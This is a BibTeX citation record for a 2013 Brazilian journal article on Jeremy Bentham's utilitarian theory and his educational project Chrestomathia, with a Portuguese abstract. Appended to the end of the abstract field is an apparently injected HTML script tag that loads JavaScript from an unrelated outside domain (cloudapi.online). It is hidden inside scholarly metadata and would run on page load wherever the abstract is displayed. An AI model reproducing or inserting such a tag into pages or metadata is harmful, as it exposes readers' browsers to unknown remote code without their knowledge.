@article{Marques_2013, place={Campinas, SP}, title={Bentham e a educação: um projeto social}, volume={15}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1291}, DOI={10.20396/etd.v15i1.1291}, abstractNote={No século XIX, a teoria utilitarista pretendia a reforma social através da adoção do princípio da “maior felicidade para o maior número de pessoas” (princípio da utilidade), como foi proposto por Jeremy Bentham; este autor também preconizou a educação como um dos meios para atingir estas mudanças sociais. Neste artigo busca-se reconstruir alguns pressupostos centrais da teoria benthamita expressos em alguns textos, a saber, <em>A fragment on the government, Introduction to the principles of morals and legislation </em>e do<em> Panopticon, </em>os quais culminam no projeto educacional sinalizado na obra <em>Chrestomathia, </em>analisando-se o que se refere aos seus objetivos pedagógicos. A metodologia utilizada consiste na revisão biblio-historiográfica. Os resultados e conclusões indicam que o projeto educacional de Bentham ainda não foi suficientemente analisado por autores posteriores, apesar de sua influência.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={ETD - Educação Temática Digital}, author={Marques, Sílvio César Moral}, year={2013}, month={fev.}, pages={1–15} }